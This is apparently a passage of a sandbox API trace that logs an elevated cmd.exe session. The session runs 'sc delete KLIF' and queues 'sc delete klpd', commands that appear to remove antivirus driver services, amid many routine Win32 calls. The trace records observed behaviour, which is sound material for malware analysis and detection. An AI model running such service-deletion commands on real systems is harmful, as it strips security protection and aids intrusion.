_MaxCount=0x7) returned -18 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0072.582] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.583] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.583] GetProcessHeap () returned 0x4a0000 [0072.583] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0072.583] GetProcessHeap () returned 0x4a0000 [0072.583] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0072.583] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete KLIF", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete KLIF", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete KLIF", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0x944, dwThreadId=0x964)) returned 1 [0072.588] CloseHandle (hObject=0x50) returned 1 [0072.588] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0072.588] GetProcessHeap () returned 0x4a0000 [0072.588] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0072.588] GetEnvironmentStringsW () returned 0x4c1b10* [0072.588] GetProcessHeap () returned 0x4a0000 [0072.588] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0072.588] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.588] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0072.588] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd4000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0072.588] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0072.646] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0072.647] CloseHandle (hObject=0x54) returned 1 [0072.647] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0072.647] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0072.647] GetProcessHeap () returned 0x4a0000 [0072.647] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0072.647] GetEnvironmentStringsW () returned 0x4c1b10* [0072.647] GetProcessHeap () returned 0x4a0000 [0072.647] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0072.647] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.647] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0072.647] GetProcessHeap () returned 0x4a0000 [0072.647] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0072.647] GetEnvironmentStringsW () returned 0x4c1b10* [0072.647] GetProcessHeap () returned 0x4a0000 [0072.647] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0072.647] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.647] GetProcessHeap () returned 0x4a0000 [0072.647] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0072.647] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0072.647] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0072.648] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.648] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0072.648] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.648] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0072.648] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.648] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0072.648] GetConsoleOutputCP () returned 0x1b5 [0072.649] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.649] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.649] GetProcessHeap () returned 0x4a0000 [0072.649] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0072.649] GetProcessHeap () returned 0x4a0000 [0072.649] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0072.649] GetProcessHeap () returned 0x4a0000 [0072.649] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0072.649] GetProcessHeap () returned 0x4a0000 [0072.649] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc5b0 | out: hHeap=0x4a0000) returned 1 [0072.649] GetProcessHeap () returned 0x4a0000 [0072.649] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6550 | out: hHeap=0x4a0000) returned 1 [0072.649] GetProcessHeap () returned 0x4a0000 [0072.649] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0072.649] GetProcessHeap () returned 0x4a0000 [0072.649] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0072.649] GetProcessHeap () returned 0x4a0000 [0072.649] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0072.649] GetProcessHeap () returned 0x4a0000 [0072.649] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0072.650] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0072.650] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.650] GetFileType (hFile=0x120) returned 0x3 [0072.650] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.650] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0072.650] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0072.650] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0072.650] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0072.650] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0072.650] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0072.650] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.650] GetFileType (hFile=0x120) returned 0x3 [0072.650] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.650] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0072.650] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0072.650] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.650] GetFileType (hFile=0xb8) returned 0x3 [0072.650] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.650] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.651] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.651] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.651] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.651] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.651] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.651] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.651] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.651] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.651] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.651] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.651] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.651] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.651] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.651] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.651] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.651] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.651] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.651] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.651] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.652] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.652] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.652] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.652] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.652] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.652] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.652] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.652] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.652] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.652] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.652] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.652] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.652] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.652] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.652] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.652] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.652] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.652] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.652] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" KLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.652] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.653] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.653] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.653] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="kLIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.653] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.653] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.653] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.653] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="lIF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.653] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.653] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.653] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.653] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="pF\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.653] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.653] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.653] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.653] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="d\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.653] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.653] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.653] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.653] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="\n8.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.654] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.654] GetFileType (hFile=0xb8) returned 0x3 [0072.654] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.654] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.654] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.654] GetFileType (hFile=0x120) returned 0x3 [0072.654] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.654] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete klpd\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete klpd\n", lpUsedDefaultChar=0x0) returned 16 [0072.654] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0xf, lpOverlapped=0x0) returned 1 [0072.654] GetProcessHeap () returned 0x4a0000 [0072.654] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0072.654] GetProcessHeap () returned 0x4a0000 [0072.654] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0072.654] GetProcessHeap () returned 0x4a0000 [0072.654] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0072.654] GetProcessHeap () returned 0x4a0000 [0072.654] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0072.654] GetProcessHeap () returned 0x4a0000 [0072.654] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2a) returned 0x4b6510 [0072.654] GetConsoleOutputCP () returned 0x1b5 [0072.655] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.655] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.655] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.655] GetProcessHeap () returned 0x4a0000 [0072.655] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0072.655] GetProcessHeap () returned 0x4a0000 [0072.655] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x30) returned 0x4b6550 [0072.655] GetProcessHeap () returned 0x4a0000 [0072.655] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc530 [0072.655] SetErrorMode (uMode=0x0) returned 0x1 [0072.655] SetErrorMode (uMode=0x1) returned 0x0 [0072.655] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc540, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0072.655] SetErrorMode (uMode=0x1) returned 0x1 [0072.655] GetProcessHeap () returned 0x4a0000 [0072.656] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc530, Size=0x62) returned 0x4bc530 [0072.656] GetProcessHeap () returned 0x4a0000 [0072.656] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc530) returned 0x62 [0072.656] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0072.656] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0072.656] GetProcessHeap () returned 0x4a0000 [0072.656] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0072.656] GetProcessHeap () returned 0x4a0000 [0072.656] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0072.656] GetProcessHeap () returned 0x4a0000 [0072.656] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0072.656] GetProcessHeap () returned 0x4a0000 [0072.656] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0072.656] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0072.656] GetProcessHeap () returned 0x4a0000 [0072.656] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0072.656] GetProcessHeap () returned 0x4a0000 [0072.656] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0072.656] GetProcessHeap () returned 0x4a0000 [0072.656] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0072.656] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.656] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.657] GetLastError () returned 0x2 [0072.657] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.657] GetLastError () returned 0x2 [0072.657] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.657] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0072.657] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0072.657] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.657] GetLastError () returned 0x2 [0072.657] FindFirstFileExW (in: 